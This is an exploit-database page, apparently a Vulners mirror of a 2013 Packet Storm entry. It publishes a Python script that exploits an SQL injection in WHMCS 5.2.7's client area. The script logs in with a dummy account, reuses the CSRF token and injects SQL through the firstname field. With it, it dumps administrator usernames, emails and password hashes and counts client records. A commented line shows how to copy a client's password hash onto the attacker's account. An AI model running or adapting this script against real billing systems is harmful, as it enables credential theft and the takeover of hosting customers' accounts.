Lucene search
K

WHMCS 5.2.7 SQL Injection

🗓️ 08 Oct 2013 00:00:00Reported by localhost.reType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

WHMCS 5.2.7 SQL Injection in clientarea.php

Code
`#!/usr/bin/env python  
# 2013/10/03 - WHMCS 5.2.7 SQL Injection  
# http://localhost.re/p/whmcs-527-vulnerability  
  
url = 'http://clients.target.com/' # wopsie dopsie  
user_email = '[email protected]' # just create a dummie account at /register.php  
user_pwd = 'hacker'  
  
import urllib, re, sys  
from urllib2 import Request, urlopen  
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"  
  
def exploit(sql):  
print "Doing stuff: %s" % sql  
r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()  
return re.search(r'(id="firstname" value="(.*?)")', r).group(2)  
  
def login():  
print "Getting CSRF token"  
r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))  
csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)  
cookie = r.info()['set-cookie'].split(';')[0]  
print "Logging in"  
r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()  
if 'dologin.php' in r:  
sys.exit('Unable to login')  
else:  
return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]  
  
user = login()  
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins  
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients  
  
# oh you want to be evil  
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation